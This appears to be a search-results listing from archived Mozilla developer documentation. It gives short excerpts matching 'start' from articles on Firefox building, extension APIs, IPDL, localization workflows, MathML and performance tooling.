startup tests. games benchmarking (firefox) under development, the games benchmarking harness (aka mozbench) will allow a number of games-related benchmarks to be run against firefox and chrome. eventually, the system will likely be expanded with support for android. post-job analysis and alerts there is some analysis of test data that occurs out-of-band after jobs complete. perfherder alerts we...
Creating a Firefox sidebar
le, and some of them provide a sidebar. such kind of sidebar can be a simple web panel or a full-featured extension that is completely integrated with the browser. there are some ways to create an extension: the new sidebar api has been implemented in firefox 29 as part of the add-on sdk. it's the easiest way to create an extension with a sidebar.obsolete since gecko 57 you can also build a re
startless extension yourself without the sdk. a sample extension to add a web panel is available as a
starter.obsolete since gecko 57 if you'd like to have a deeper integration with the browser to offer more complex features, a traditional overlay extension can be an option. the document might be obsolete, though.obsolete since gecko 57 the social api obsolete since gecko 57 (firefox 57 / thunder...
Creating a Login Manager storage module
n manager in your extensions, refer to the article using nsiloginmanager. overriding the built-in login manager storage consists of two tasks: implement the nsiloginmanagerstorage interface. register that interface in a specific category. some work has already been done to integrate the login manager with the mac os x keychain (bug 106400) and gnome keyring manager (bug 309807). you should
start with the existing code if you want to implement that in your extension. to see some debugging output in the console set signon.debug to true using about:config. sample javascript implementation the following code snippet is a javascript component that implements a dummy nsiloginmanagerstorage interface. see how_to_build_an_xpcom_component_in_javascript for more details about javascript compone...
Debugging Chrome
to work around this i was able to record the gpu commands using apitrace. i copied the d3d9.dll into both c:\users\jrmuizel\appdata\local\google\chrome sxs\application\22.0.1186.0 and c:\users\jrmuizel\appdata\local\google\chrome sxs\application\. i'm not sure which is needed. ...
Debugging OpenGL
for various reasons, debugging opengl related code can be tricky. this article provides suggestions for how to improve your efficiency while debugging opengl code in gecko. opengl debug mode when running a debug build, you can enable the opengl debug mode by defining the environment variable moz_gl_debug. if you
start up firefox with this variable defined, the following behavior changes occur: each time you issue an opengl call, a check is performed to ensure that the gl context is current, using a thread-local static variable to keep track of this. if the context isn't current, the call aborts. every time an opengl call completes, glfinish() gets run automatically. this flushes out each call, essentially turning opengl into a synchronous api. this makes debugging crashes caused by an ...
Adding APIs to the navigator object
simply add an entry to the "javascript-navigator-property" category. the object must be implemented as an xpcom component. each method below of adding new objects to the navigator object requires that the new object is a registered xpcom component. you can read about creating and registering xpcom components in javascript. ...
Articles for new developers
to help you find the most critical stuff as quickly as possible, we've created this list of the articles you'll find most useful as you get yourself oriented and make your first contributions to the project. also, before you go any further, we'd like to welcome you to the mozilla community of developers! we look forward to your input! contributing to the mozilla code base this page should guide you through the initial steps of contributing to mozilla. ...
Configuring Build Options
fy a moz_objdir, it will be automatically set to @topsrcdir@/obj-@config_guess@. if you need to re-run configure, the easiest way to do it is using ./mach configure; running configure manually is strongly discouraged. adding the following line to your mozconfig allows you to change the objdir: mk_add_options moz_objdir=@topsrcdir@/obj-@config_guess@ it is a good idea to have your objdir name
start with obj so that mercurial ignores it. sometimes it can be useful to build multiple versions of the source (such as with and without diagnostic asserts). to avoid the time it takes to do a full rebuild, you can create multiple mozconfig files which specify different objdirs. for example, a mozconfig-dbg: mk_add_options moz_objdir=@topsrcdir@/obj-ff-dbg ac_add_options --enable-debug and a mozco...
Old Thunderbird build
only use options that you fully understand. for example, to create a debug build instead of a release build, that file would contain: ac_add_options --enable-debug for more on configuration options, see the page configuring build options. note that if you use an moz_objdir it cannot be a sibling folder to your source directory. use an absolute path to be sure! building thunderbird before you
start, make sure that the version you checked out is not busted. for hg tip, you should see green bs on https://treeherder.mozilla.org/#/jobs?repo=comm-central to
start the build, cd into the comm-central subdirectory, and run: ./mozilla/mach build mach is our command-line tool to streamline common developer tasks. see the mach article for more. building can take a significant amount of time, depe...
Simple Instantbird build
ould contain: ac_add_options --enable-debug for more on configuration options, see the page configuring build options. note that if you use an moz_objdir it cannot be a sibling folder to your source directory. use an absolute path to be sure! building instantbird what you need to do to build instantbird rather than firefox is: echo 'ac_add_options --enable-application=im' >> .mozconfig to
start the build, cd into the comm-central subdirectory (created automatically by the hg clone command), and run: ./mozilla/mach build mach is our command-line tool to streamline common developer tasks. see the mach article for more. building can take a significant amount of time, depending on your system, os, and chosen build options. linux builds on a fast box may take under 15 minutes, but window...
Simple SeaMonkey build
indows 8 sdk, you also need the outlook 2010 mapi header files from microsoft. install mozillabuild, a package of additional build tools. (if you get a message saying this application did not install properly then you should see a windows dialog giving you the option to re-install with the 'correct settings'. after that all should be well.) open a shell window by running: c:\mozilla-build\
start-msvc2013.bat. even if you're on 64-bit windows, do not use the files ending in -x64.bat. by default you will arrive in your windows user home directory which is likely to contain spaces in its path (e.g. c:\users\myaccount). this can lead to problems later in the building stage. to avoid that, create a directory without spaces in its path (e.g. mkdir /c/mozilla-src) and switch to it before bu...
Simple Sunbird build
need to install one or more windows sdks. see windows sdk versions for a quick guide. install mozillabuild, a package of additional build tools. (if you get a message saying this application did not install properly then you should see a windows dialog giving you the option to re-install with the 'correct settings'. after that all should be well.) open a shell window by running: c:\mozilla-build\
start-msvcx.bat (where x is 8 for vs 2005, and 9 for vs 2008). problems? see windows build prerequisites. building sunbird building sunbird requires at least 2.5 gb of disk space, 500 mb of ram, and lots of available swap space. on windows, if you open the command prompt you are usually in your user profile folder which often contains spaces ( c:\documents and settings\...). this causes problems ...
Commenting IDL for better documentation
comments are extremely human-readable, too. don't worry! you don't need to write perfect documentation. that is why mozilla has a couple of writers on-staff as well as a horde of happy volunteers. we will take your comments and notes and turn them into beautiful, easy to search and read documentation. but by following the guidelines here, you can help make sure that our tools can generate a "good
start" version of the documentation for your interfaces, and that the writers will be able to easily figure out what the tools are not able to do automatically. comment format doxygen supports several comment formats; for style and consistency reasons, we use the following: /** * */ note the two asterisks ("**") on the first line of the comment. that lets doxygen (and by extension, our automated doc...
Working with Mozilla source code
the articles below will help you get your hands on the mozilla source code, learn to navigate the code, and how to get the changes you propose checked into the tree. getting a pre-configured mozilla build system virtual machine this is the easiest way to get
started: use a virtualbox virtual machine which is already configured with a complete build environment for you to use. just boot the vm and build! viewing and searching mozilla source code online learn how to use searchfox, mozilla's online search and browsing tool for accessing the source code. this isn't a good way to download the code, but is a great way to search it. navigating the mozilla source code learn about the various folders in the mozilla source tree, and how to find what you're looking for. bugs for newcom...
Experimental features in Firefox
ts to monitor changes to this information. see bug 1550390 for more details. there currently is no real plan to ship this on desktop, but you can track the state of that just in case it changes in bug 1551302. release channel version added enabled by default? nightly 63 no developer edition 63 no beta 63 no release 63
starting in firefox 68, on android only preference name dom.visualviewport.enabled constructable stylesheets the addition of a constructor to the cssstylesheet interface as well as a variety of related changes makes it possible to directly create new stylesheets without having to add the sheet to the html. this makes it much easier to create reusable stylesheets for use with shadow ...
Index
designed as an alternative to the current policies, which have been available in firefox for many years. the new policy protects against cross-site tracking while minimizing the site breakage associated with traditional cookie blocking. this article explains how the new policy works and how you can test it. 171 tracking protection privacy, private browsing, blocking, tracking
starting in version 42, firefox desktop and firefox for android include built-in tracking protection. in private browsing windows (tabs, in firefox for android), firefox will block content loaded from domains that track users across sites. 172 security best practices for firefox front-end engineers best practices, developing firefox, developing mozilla, firefox, front-end, mozilla, perfo...
Frame script loading and lifetime
ripts. the new frame scripts receive the "disable" message and stop working. in fact, the message manager guarantees that loadframescript and broadcastasyncmessage are guaranteed to affect frame scripts in the order that they are called, so in this case "disable" will be received and consumed before the new frame scripts are loaded. at the moment, frame scripts are cached until the browser re
starts: this problem is tracked as bug 1051238. this is a problem especially for re
startless add-ons; because when a new version of the add-on is installed, the old frame scripts will not be unloaded. the workaround is to randomize the frame script's url; for example, by appending "?" + math.random(). ...
Storage access policy: Block cookies from trackers
loaded on a top-level site owned by the same organization. firefox uses the built-in tracking protection url classifier to determine which resources match the tracking protection list. domains are matched against the list in accordance with the safebrowsing v4 specification. specifically, we check the exact hostname of the resource against the list, as well as the last four hostnames formed by
starting with the last five components and successively removing the leading component. consider the following examples: hostname on the list hostname of resource matched example.com example.com yes example.com a.b.example.com yes blah.example.com example.com no a.b.example.com c.d.example.com no blah.example.com ...
Firefox UI considerations for web developers
so it then goes on to look through the rich icons. here, there are three of them, each specified as apple-touch-icon-precomposed. since none of them are 96 pixels wide, the smallest icon which is at least 96 pixels wide is chosen; that's the 114x114 pixel apple-touch-icon@2x.png file. that image is then scaled down to be 96 pixels wide and is used in t...
HTMLIFrameElement.goBack()
en implementations and the behavior may change in the future. the goback() method of the htmliframeelement interface is used to navigate backwards in the browser <iframe>'s history. by calling this method, the browser <iframe> changes its location for the previous location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserload
start, and so on. syntax instanceofhtmliframeelement.goback(); returns void. parameters none. examples back.addeventlistener('touchend',function() { browser.goback(); }); specification not part of any specification. ...
HTMLIFrameElement.goForward()
bilities between implementations and the behavior may change in the future. the goforward() method of the htmliframeelement is used to navigate forward in the browser <iframe>'s history. by calling this method, the browser <iframe> changes its location to the next location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserload
start and so on. syntax instanceofhtmliframeelement.goforward(); returns void. parameters none. examples fwd.addeventlistener('touchend',function() { browser.goforward(); }); specification not part of any specification. ...
mozbrowseractivitydone
owser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseractivitydone", function(event) { if(event.details.success) { console.log('activity completed successfully'); } else { console.log('activity not completed successfully'); } }); related events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserload
start mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserselectionstatechanged
"); browser.addeventlistener("mozbrowserselectionstatechanged", function( event ) { if(event.details.visible) { console.log("the current selection is visible."); } else { console.log("the current selection is not visible."); } }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserload
start mozbrowserlocationchange mozbrowseropenwindow mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowservisibilitychange
document.queryselector("iframe"); browser.addeventlistener("mozbrowservisibilitychange", function( event ) { if(event.details.visible) { console.log("the browser is visible."); } else { console.log("the browser is hidden."); } }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserload
start mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange ...
Overview of Mozilla embedding APIs
ns_error_failure ns_error_not_implemented public functions the following functions are available from the xpcom dll. ns_initembedding this function initializes the gecko embedding support. this must be the first function call made into gecko. ns_termembedding this function shuts down gecko and cleans up any remaining resources... currently, once gecko has been shutdown, it cannot be re
started in the same process space... this should change in the future. nsmemory nsmemory::alloc nsmemory::realloc nsmemory::free this helper class provides static accessors to the global nsmemory service. ns_getglobalcomponentmanager this function returns an instance of the component manager service. ns_convertasciitoucs2 this is a helper class which converts ...
Roll your own browser: An embedding how-to
ory are a couple of makefiles: basebrowser-unix basebrowser-win the xpinstall packager follows the same format. however in our case, we only have one named xpi package. after the build is done, you can change directory into mozilla/embedding/config, and do a make. this will produce a directory in dist named embed. it should include all of the base support that you need to get a web browser
started up. included is the sample test application (gtkembed or winembed). what initializations do i have to do? somewhere during the
start of your application, you must initialize xpcom. you will also want to shut this down when you quit. other initialization must be done to
start up event queues and load some string bundles. all of this is somewhat generic and has been isolated into a static lib...
Script security
leges and can't be accessed by anything but itself and chrome. it subsumes no other principals, even other null principals. (this is what is used when html5 and other specs say "origin is a globally unique identifier".) principal relationships the diagram below summarizes the relationships between the different principals. the arrow connecting principals a and b means "a subsumes b". (a is the
start of the arrow, and b is the end.) computing a wrapper the following diagram shows the factors that determine the kind of wrapper that compartment a would get when trying to access an object in compartment b. ...
Geckoview-Junit Tests
the geckoview-junit tests are on-device android junit tests written for geckoview. by default, tests are from org.mozilla.geckoview.test. these tests run on an android device, controlled by a host (typically linux) using mozdevice (adb). in automation, tests normally run in an android emulator. running tests locally if desired, connect an android device to your computer, or
start an emulator, and make sure your device is visible to adb: $ adb devices list of devices attached emulator-5554 device if no device is found, 'mach geckoview-junit' will offer to
start an emulator. before running tests, install the androidtest apk on your device; otherwise, 'mach geckoview-junit' will offer to install it. mozilla-central$ mach install --app org.mozilla.geckoview.test to run all test...
HTTP Cache
cacheentry::asyncopen consumer reference -- cacheentry::asyncopen (entry atomic): the opener is added to fifo, consumer reference ++ (dropped back after an opener is removed from the fifo) state == notloaded: state = loading when open_truncate flag was used: cachefile is created as 'new', state = empty otherwise: cachefile is created and load on it
started cacheentry::onfileready notification is now expected state == loading: just do nothing and exit call to cacheentry::invokecallbacks cacheentry::invokecallbacks (entry atomic): called on: a new opener has been added to the fifo via an asyncopen call asynchronous result of cachefile open the writer throws the entry away the output stream of the entry has b...
How to get a process dump with Windows Task Manager
ly or release you need a firefox version for which symbols are available from the mozilla symbol server. you can use any official nightly build or released version of firefox from mozilla. you can find the latest trunk nightly builds under http://ftp.mozilla.org/pub/mozilla.o.../latest-trunk/. creating the dump file ensure that firefox is not already running. run firefox, reproduce the hang
start firefox and perform whatever steps are necessary to cause firefox to hang. once the browser hangs, continue with the steps below. after the hang open windows task manager (ctrl+shift+esc). find firefox.exe among the list of processes. right-click firefox.exe and select "create dump file". task manager should indicate where the dump file was written to. see also how to get a stacktrace ...
Creating a New Protocol
ipdl protocols should be in the mozilla namespace or a sub-namespace. to hook up the file to the build, you need to add your ipdl file to ipdl_sources in the nearest moz.build file. see dom/ipc/moz.build for an example. the protocol hierarchy unless you are working on some special project, your protocol will fit into the protocol hierarchy for multi-process plugins or tabs. the toplevel protocol for plugins is ppluginmodule. ...
PBackground
of how two things can communicate. it is similar in some respects to idl and webidl. at build time the ipdl compiler automatically generates a large amount of c++ glue code from the ipdl files. ipdl protocols are used to specify how the chrome and content processes talk to each other and verify that a content process is "following the rules". note: if you want more detailed information on ipdl,
start out by reading the ipdl tutorial. when used at run time, every protocol has two actors — a parent and a child. these actors can live in different processes due to ipdl, which automatically serializes calls on one side and transmits them to the other. this is the foundation of how chrome and content processes talk to each other in e10s. the actor tree all live actors exist in a tree. the roo...
IPDL Tutorial
ollowing ipdl code defines a very basic interaction of browser and plugin actors: async protocol pplugin { child: async init(nscstring pluginpath); async shutdown(); parent: async ready(); }; this code declares the pplugin protocol. two messages can be sent from the parent to the child, init() and shutdown(). one message can be sent from the child to the parent, ready(). ipdl protocols
start with the letter p. the file in which the protocol is declared must have a matching name, pplugin.ipdl. generated c++ code when pplugin.ipdl is compiled, the headers ppluginparent.h, and ppluginchild.h will be generated in the ipc/ipdl/_ipdlheaders/ directory of the build tree. the ppluginparent and ppluginchild classes are abstract classes that must be subclassed. each outgoing message is a c++...
Introduction to Layout in Mozilla
creates a parser, returned as nsistreamlistener back to the docshell creates a content sink, which is linked to the parser and the document creates a documentviewerimpl object, which is returned as nsicontentviewer back to the docshell documentviewerimpl creates pres context and pres shell content model construction content arri...
AddonUpdateChecker
available update from a list of update objects. updateinfo getnewestcompatibleupdate( in updateinfo updates[], in string appversion, in string platformversion ) parameters updates an array of update objects appversion the version of the application or null to use the current version platformversion the version of the platform or null to use the current version checkforupdates()
starts an update check. void checkforupdates( in string id, in string type, in string updatekey, string url, in updatechecklistener listener ) parameters id the id of the add-on being checked for updates type the type of add-on being checked for updates updatekey an optional update key for the add-on url the url of the add-on's update manifest listener an observer to notify of r...
TypeListener
istered with addtypelistener() and will then receive notification as addontype are registered and unregistered. method overview void ontypeadded(in addontype type) void ontyperemoved(in addontype type) methods ontypeadded() called when an add-on type has been added. void ontypeadded( in addontype type ) parameters type the addontype that is being added needsre
start true if an application re
start is necessary for the change to take effect ontyperemoved() called when an add-on type has been removed. void ontyperemoved( in addontype type, ) parameters type the addontype that has been removed ...
JavaScript OS.Constants
l. useful, for instance, to access the platform code from javascript in conjunction with js-ctypes. profiledir the path to the current profile. homedir the path to the user's home directory. winappdatadir the path to the user's roaming application data directory. winlocalappdatadir the path to the user's local application data directory. win
startmenuprogsdir the path to the programs subdirectory in the user's
start menu. macuserlibdir the path to the user's library directory. maclocalapplicationsdir the path to the local applications directory. os.constants.libc constants for interacting with libc. useful mostly for using js-ctypes to interact with the following platforms: macos x; android; linux; ...
Log.jsm
ole. error other runtime errors or unexpected conditions. expect these to be immediately visible on a status console. warn use of deprecated apis, poor use of api, 'almost' errors, other runtime situations that are undesirable or unexpected, but not necessarily "wrong". expect these to be immediately visible on a status console. info interesting runtime events (
startup/shutdown). expect these to be immediately visible on a console, so be conservative and keep to a minimum. config information regarding important configuration options the system is using that affect how it runs. debug detailed information on the flow through the system. expect these to be written to logs only. trace most detailed information. expect these to ...
NetUtil.jsm
specified data. aorigincharset the optional character set to use when interpreting awhattoload as a string; this is ignored if awhattoload is not a string. defaults to utf-8 if not provided. abaseuri the base uri for the spec, specified as an nsiuri. only used if awhattoload is a string. newuri() the newuri() method creates a new nsiuri. this method wraps the nsiioservice.newuri(). note:
starting in gecko 2, this method supports specifying an nsifile as the target of the uri. in previous versions of gecko, you must use a string to specify the uri. nsiuri newuri( atarget, [optional] aorigincharset, [optional] abaseuri ); parameters atarget specifies the target of the uri as either a uri string or (
starting in gecko 2) as an nsifile. aorigincharset the optional character ...
Deferred
use the new promise() constructor instead (or use the above backwards/forwards compatible deferred function given below). ...
Services.jsm
r3 prefs nsiprefbranch nsiprefbranch2 nsiprefservice preferences service prompt nsipromptservice prompt service scriptloader mozijssubscriptloader javascript subscript loader service scriptsecuritymanager nsiscriptsecuritymanager script security manager search nsibrowsersearchservice browser search service
startup nsiapp
startup application
startup service storage mozistorageservice storage api service strings nsistringbundleservice string bundle service sysinfo nsipropertybag2 system info service telemetry nsitelemetry telemetry service tm nsithreadmanager thread manager service urifixup nsiurifixup uri fixup ...
Sqlite.jsm
ed value will be an array of mozistoragerow. executetransaction(func, type) this function is used to execute a database transaction. a transaction is a series of related statements treated as one functional unit. if the transaction succeeds, all the statements contained within it are committed as one unit. if the transaction fails, the database is rolled back to its state before the transaction
started. this function receives the following arguments: func the function defining the transaction body. type the type of transaction to perform. this must be one of the transaction_* constants on the opened connection instance. valid values are transaction_deferred, transaction_immediate, transaction_exclusive. see the sqlite documentation for their meaning. the default is transaction_deferred...
Using workers in JavaScript code modules
has access to js-ctypes via a global ctypes object available in the global scope of the worker obsolete since gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. note: as of gecko 8.0, the nsiworkerfactory interface has been removed
starting in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), you can use workers in javascript code modules (jsms). this lets you run code in a separate thread from your jsm. to create a chromeworker for this purpose, you need to use the nsiworkerfactory interface: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(compo...
XPCOMUtils.jsm
e xpcomutils code module. create an array of component constructors you need to create an array that lists the constructors for each component. this array can of course have just one entry: var components = [mycomponent]; here, we're calling the array components. ...
Mozilla Content Localized in Your Language
essing voice in your language? how should emphasis be made in your language? character styles how are bold, italics, underlines, etc. used to express certain concepts in your language? if these are not applicable styles, what are some of the corresponding ways to express, emphasis or highlight some of the texts. address format what is the format in your language? ex: most asian countries
start from big to small: [country] [postal code][state/province][city][district][street number and name][building and suite numbers][addressee] countries of european languages
start from small to big: [addressee][street number and name][building and suite numbers][district][city][state/province][postal code][country] name convention what are the order of family name and given name in your language. ...
L10n testing with xcode
to be familiar with how user gestures and hardware interactions work in the simulator. this guide should help. press the run button in the upper left-hand corner (the button has a playback icon). navigate to the newly opened ios simulator window many strings are accessibility strings and are only revieled when a user hovers their finger over the button. to view these strings, you'll need to
start the accessibility inspector within the ios simulator by doing the following. in the ios simulator, press the home button from the hardware toolbar menu. navigate to the settings app, open it, and go to general > accessibility. slide the accessibility inspector switch to on. the accessibility inspector remains active until you turn it off, even if you quit and re
start ios simulator. ...
Localization content best practices
this document provides best practices for developers to create localizable code, and describes how to avoid some localizability (l12y) common mistakes. note: if you're a localizer and you want to contribute to the localization of mozilla products, you might want to read our localization quick
start guide for information on localizing mozilla code. note on localizers mozilla localizers are volunteers with very diverse technical skills: some of them rely exclusively on translation tools, others prefer to work directly with text editors and don't have problems working with vcs systems. it's important to consider this when adding strings, and especially localization comments for strings that contain references, or obscure technical details. localization files choose good key ids ...
Localizing with Mercurial
aying, "%path% has been updated correctly." alternatively, you can edit the %path% variable manually. in order to do so, right-click on your computer icon, choose properties > advanced > environmental variables, select path and click edit. if you don't see path among the options, you'll have to click add and edit it within the add dialog. see the screenshot for an example. did it work? go to
start > run... type cmd.exe and click ok. a new shell window should appear. type hg --version in the new shell window. if you see a message about the version of mercurial (e.g. mercurial distributed scm (version 1.3.1)), you have installed mercurial successfully! more details for more details on installing hg on windows, refer to the instructions on mercurial's download page. mercurial on mac os...
Patching a Localization
le, i'll use gl (galician). whenever you see gl in blue text, replace it with the locale code for your language. next thing you need to know is which localization version you want to patch. all of our localizations work on the aurora branch. the repository for this version is releases/l10n/mozilla-aurora. for more information about branches see l10n:branches. now let's get a little more detailed.
start bash and do the following: create a clean directory for your work. for example, create a directory like localization-workdir (in this example it is located in your home directory): mkdir ~/localization-workdir navigate to the directory you just created. cd ~/localization-workdir clone the localization repository for your locale and for the version you want to patch: hg clone ...
Localization prerequisites
her recommended. needed for development of firefox 3.5/seamonkey 2.0/thunderbird 3.0 and later. a text editor. you can try one of these: notepad++ or notepad2 on windows, vim, gedit or kate on gnu/linux, bbedit on mac os x. to verify that they work, open a shell. linux users should know, on the mac, you find terminal in applications/utilities. on windows, mozillabuild offers a
start-shell-l10n.bat in c:\mozilla-build. let’s try our entry points: $ hg --version mercurial distributed scm (version 1.3.1) copyright (c) 2005-2009 matt mackall <mpm@selenic.com> and others this is free software; see the source for copying conditions. there is no warranty; not even for merchantability or fitness for a particular purpose great, hg works. $ make –version gnu make 3.81.90 … ...
Translation phase
bile by adding firefox® to your mobile phone, you can access rich web content and enjoy your favorite firefox features wherever you go. lightning lightning is a popular calendaring, scheduling and task management extension. if your locale has an hg repository hosted on the mozilla servers, you can track your localization's current progress by visiting the l10n dashboards. note: if you are
starting a new localization and decide to use an offline tool for localizing mozilla applications, you will need to become familiar with using mercurial (hg). visit the tutorial on using hg in your localization efforts here. mozilla websites so you're interested in localizing mozilla websites. each l10n tool follows a different workflow for localizing mozilla web projects. we've linked a brief tuto...
Uplifting a localization from Central to Aurora
e those two. hg merge if this just passes, you want to commit, and you probably want to use a commit message like "merging central and aurora". you can safely push this to l10n-central already, in particular if you don't plan to do further updates on aurora. you don't want to push this to aurora before there's been the notification that the status of aurora has been lifted up to beta. if hg merge
starts asking you questions, you have a merge conflict. that indicates that the same string has different translations on l10n-central and aurora, and you really want to make sure that your aurora clone doesn't have quality issues. in particular, did you land all the fixes for your work on both central and aurora? because mercurial suggests that you didn't. look at the merge conflicts, and figure out i...
Web Localizability
llowing list contains links to pages that highlight steps that can be taken to make web content localizable. the documentation is divided into 4 parts: how to create localizable content. how to choose the right localization format. how to create localizable web applications. how to set up the infrastructure for localization. why localizability is important there are many reasons why you should
start thinking about making your web app localizable as soon as possible. you will make localizer's life easier, for which they will be grateful. you will have quality content, localized and adapted to the needs of the local market. extending you web app to support new languages will be easy. the content will be easier to maintain and update. you will end up writing more semanticly-correct code, which...
What every Mozilla translator should know
ther interesting way of getting help is the irc channel #l10n at irc.mozilla.org useful tools the l10n dashboard pontoon narro translate toolkit koala 0.1 mozillatranslator mercurial the hg is organized into several repositories, sometimes called branches. we have the main repository called mozilla-central (or trunk) where the day to day developing work is done. when a development is
started for an specific version, a new repository is created under hg.mozilla.org/releases/. all the content of the trunk is copied to this new branch so that the developing work is done in two (or more) parallel places: the generic trunk and the version oriented branch(es). for every branch and every locale, there is a separate repository for localization files committed by the localizers. some branc...
Fonts for Mozilla 2.0's MathML engine
also contains glyphs to stretch mathematical operators. they are available under the sil open font license and should be installed for best mathml rendering. note that currently, only the fonts in /fonts/stix-general/ are used for stretching mathematical operators with stix fonts. asana math is also freely available under the sil open font license and has good support for mathematical characters.
starting in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4), mozilla can also use the glyphs contained in that font for stretchy operators.
starting in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10), mathjax fonts are used as the default fonts for mathematical text and symbol stretching. these fonts are freely available under the apache license. they are close to latex renderin...
MathML Screenshots
screenshot of mfrac. this page also shows how mathml can be used in combination with other web features such as background images at a desired opacity. screen captures of mtable, showing typesetting mathematical constructs in 2d. screenshot of roots and physics equations (maxwell's equations and einstein's field equations). this screen capture demonstrates advanced layout with mtable and stretchy operators. you can get the mathml source of a formula or a selected expression. the choice is yours! mathml in blog posts and emails. ...
Mozilla MathML Status
. xref accepted, but does not have any effect on the rendering. href implemented. the user interface works correctly in seamonkey but not in firefox. see bug 958957. mathcolor implemented. mathbackground implemented. token elements element [- attribute] notes mi implemented. the mathvariant attribute is fully supported
starting with (firefox 28.0 / thunderbird 28.0 / seamonkey 2.25). see bug 114365. mn implemented. mo implemented. mo - linebreaking attributes, indentation attributes not implemented. see bug 534962. mtext implemented. mspace implemented. mspace - linebreak not implemented. see bug 534962. ms implemented. general ...
Mozilla MathML Project
a. links installing fonts for mozilla's mathml engine mathml version 3.0 - w3c recommendation, 21 october 2010 w3c mathml test suite - designed to check the implementation of each element one attribute (or built-in rendering behavior) at a time in a fairly thorough manner. mathml in mozilla developer network mathml accessibility in mozilla sample mathml documents screenshots mathml
start page - with translations in different languages ( arabic, chinese, hebrew, thai) mathml basics - document tailored to display correctly with just the symbol font that is pre-installed by default on most os configurations. mathml torture test - comparative testing of mathml rendering against tex. demo of some mathml tags: mfrac, mo, mtable, mspace, mmultiscripts, msqrt-mroot. mathml extras - t...
Mozilla projects on GitHub
there are a number of tools and services whose code is hosted on github. this article offers a quick guide for getting
started with mozilla code on github. it also lists some interesting github repositories containing mozilla project code. getting
started you can look at code on github without an account. that is the first thing to know. to do more—to contribute to the code, or to fork it and
start your own project based on mozilla-related code—you need a github account. to learn more about setting up a github account, visit the github website. most mozilla project code is located in repositories within the mozilla github organization. this is a great place to
start looking for any projects not listed below. projects this listing covers the larger-scale and more important mozil...
Activity Monitor, Battery Status Menu and top
is running and using a lot of cpu. furthermore, if you click on an application name in the menu activity monitor will be opened and that application’s entry will be highlighted. based on these facts it seems reasonable to assume that “energy impact” is again being used to determine which applications are "using significant energy". testing shows that once an energy-intensive application is
started it takes less than a minute for it to show up in the battery status menu. and once the application stops using high amounts of energy it takes a few minutes to disappear. the exception is when the application is closed, in which case it disappears immediately. and it appears that a program with an “energy impact” of roughly 20 or more will eventually show up as significant, and programs tha...
Build Metrics
"build metrics" is a catch-all term for performance measures that are generated by the firefox build system and tracked by perfherder. num_constructors number of static constructors found by the compiler in the firefox c++ codebase. lower is better. static constructors are undesirable because their initialization imposes an unavoidable time penalty every time firefox is
started. installer size size in bytes of the firefox installer. lower is better here, especially on space-restricted platforms like android. build times amount of time it takes to build firefox in automation on a specific platform / configuration. lower is better. compiler warnings number of compiler warnings detected during a build. lower is better. due to the way the build system works, compiler warnings are n...
Automated performance testing and sheriffing
we also generate some metrics as part of the build process (like installer size) that are interesting to track over time. currently we aggregate this information in the perfherder web application where performance sheriffs watch for significant regressions, filing bugs as appropriate. ...
JS::PerfMeasurement
sured instances of perfmeasurement expose this constant. it will not have any more bits set than were set in the mask passed to the constructor, but if the os cannot or will not measure all of the requested events, then only those events that will actually be measured have their bits set. all the counter variables for events that are not being measured will have the fixed value (uint64)-1. void
start() call this on a perfmeasurement instance to
start timing. void stop() and call this to stop timing again. the counter variables do not update in real time; they only change when stop is called. counter values are accumulated across many
start/stop cycles, and you can modify their values if you want; stop simply adds counts read back from the os to whatever is already in each counter. void rese...
Memory Profiler
n memory profiler's interface is still under construction. it can be obtained by installing the memory profiler add-on. you may need to set the "xpinstall.signatures.required" pref to false in order to install it, since the xpi is not yet signed. using the add-on open the devtools panel or webide. select the memoryprofiler tab. to take a profile you can use the buttons in the profiler panel.
start -
start profiling stop - stop profiling reset - clear profile data when profiler is stopped profile data is accumulated and resumed after
start. use reset to
start a new recording. understanding the profiles traditional memory analysis tools look at the data. they build the referring-to, namely retaining graphs. this is helpful in exploring the relationships among objects and identifyin...
Memory reporting
t might be easier to put the comment above b::sizeofincludingthis. things to note about sizeofincludingthis when it is virtual. d::sizeofincludingthis is identical to b::sizeofincludingthis. you might think that d could just inherit sizeofincludingthis from b. in some cases this works, but there's a lot of c++ subtlety involving the amallocsizeof(this) and whether this actually points to the
start of the allocated object or somewhere in its middle. this is doubly true if d features multiple inheritance. and if amallocsizeof is passed a pointer that doesn't point to the
start of an object it will give bogus results or even crash. so, if in doubt, define d::sizeofincludingthis and you should be safe. the override annotations say that d's methods override the corresponding methods in b. on s...
Power profiling overview
basic physics concepts in physics, power is the rate of doing work. it is equivalent to an amount of energy consumed per unit time. in si units, energy is measured in joules, and power is measured in watts, which is equivalent to joules per second. although power is an instantaneous concept, in practice measurements of it are determined in a non-instantaneous fashion, i.e. ...
Refcount tracing and balancing
release calls only for instances of nsdocshell while running the browser using mach, to a file refcounts.log. note that setting xpcom_mem_log_classes will also list the serial number of each object that leaked in the "bloat log" (that is, the file specified by the xpcom_mem_bloat_log variable; see the bloatview documentation for more details). an object's serial number is simply a unique number,
starting at one, that is assigned to the object when it is allocated. you may use an object's serial number with the following variable to further restrict the reference count tracing: xpcom_mem_log_objects set this variable to a comma-separated list of object serial number or ranges of serial number, e.g., 1,37-42,73,165 (serial numbers
start from 1, not 0). when this is set, along with xpcom...
TimerFirings logging
